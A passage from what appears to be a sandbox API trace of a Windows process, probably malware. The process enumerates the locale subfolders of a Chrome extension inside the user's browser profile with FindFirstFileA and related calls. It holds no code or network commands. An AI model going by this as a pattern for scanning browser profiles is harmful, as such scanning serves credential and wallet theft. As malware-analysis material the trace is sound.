Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pt_BR") returned 145 [0056.332] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pt_BR") returned 145 [0056.332] lstrlenA (lpString="\\*.*") returned 4 [0056.332] LocalAlloc (uFlags=0x40, uBytes=0x116) returned 0x2dc220 [0056.332] lstrcpyA (in: lpString1=0x2dc220, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pt_BR" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pt_BR") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pt_BR" [0056.332] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pt_BR", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pt_BR\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pt_BR\\*.*" [0056.332] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pt_BR\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.332] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.332] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.332] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.332] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.332] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.332] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.332] LocalFree (hMem=0x2dc220) returned 0x0 [0056.332] LocalFree (hMem=0x2dc100) returned 0x0 [0056.332] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.332] lstrcmpiA (lpString1=".", lpString2="pt_PT") returned -1 [0056.332] lstrcmpiA (lpString1="..", lpString2="pt_PT") returned -1 [0056.332] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.332] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.332] lstrlenA (lpString="\\") returned 1 [0056.332] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.332] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.332] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.333] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.333] lstrlenA (lpString="pt_PT") returned 5 [0056.333] LocalAlloc (uFlags=0x40, uBytes=0x112) returned 0x2dc100 [0056.333] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.333] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="pt_PT" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pt_PT") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pt_PT" [0056.333] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.333] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pt_PT") returned 145 [0056.333] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pt_PT") returned 145 [0056.333] lstrlenA (lpString="\\*.*") returned 4 [0056.333] LocalAlloc (uFlags=0x40, uBytes=0x116) returned 0x2dc220 [0056.333] lstrcpyA (in: lpString1=0x2dc220, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pt_PT" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pt_PT") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pt_PT" [0056.333] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pt_PT", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pt_PT\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pt_PT\\*.*" [0056.333] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\pt_PT\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.333] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.333] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.333] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.333] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.333] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.333] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.333] LocalFree (hMem=0x2dc220) returned 0x0 [0056.333] LocalFree (hMem=0x2dc100) returned 0x0 [0056.333] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.333] lstrcmpiA (lpString1=".", lpString2="ro") returned -1 [0056.333] lstrcmpiA (lpString1="..", lpString2="ro") returned -1 [0056.333] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.333] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.333] lstrlenA (lpString="\\") returned 1 [0056.333] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.333] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.333] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.333] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.333] lstrlenA (lpString="ro") returned 2 [0056.333] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.333] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.333] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="ro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ro" [0056.333] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.333] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ro") returned 142 [0056.333] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ro") returned 142 [0056.333] lstrlenA (lpString="\\*.*") returned 4 [0056.333] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.333] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ro" [0056.333] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ro", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ro\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ro\\*.*" [0056.334] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ro\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.334] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.334] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.334] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.334] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.334] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.334] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.334] LocalFree (hMem=0x2dc218) returned 0x0 [0056.334] LocalFree (hMem=0x2dc100) returned 0x0 [0056.334] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.334] lstrcmpiA (lpString1=".", lpString2="ru") returned -1 [0056.334] lstrcmpiA (lpString1="..", lpString2="ru") returned -1 [0056.334] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.334] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.334] lstrlenA (lpString="\\") returned 1 [0056.334] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.334] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.334] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.334] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.334] lstrlenA (lpString="ru") returned 2 [0056.334] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.334] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.334] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="ru" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ru") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ru" [0056.334] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.334] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ru") returned 142 [0056.334] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ru") returned 142 [0056.334] lstrlenA (lpString="\\*.*") returned 4 [0056.334] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.334] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ru" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ru") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ru" [0056.334] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ru", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ru\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ru\\*.*" [0056.334] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ru\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.334] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.334] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.334] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.334] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.334] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.334] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.335] LocalFree (hMem=0x2dc218) returned 0x0 [0056.335] LocalFree (hMem=0x2dc100) returned 0x0 [0056.335] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.335] lstrcmpiA (lpString1=".", lpString2="sk") returned -1 [0056.335] lstrcmpiA (lpString1="..", lpString2="sk") returned -1 [0056.335] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.335] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.335] lstrlenA (lpString="\\") returned 1 [0056.335] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.335] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.335] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.335] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.335] lstrlenA (lpString="sk") returned 2 [0056.335] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.335] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.335] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="sk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sk") returned="C:\\Users\\aDU0VK 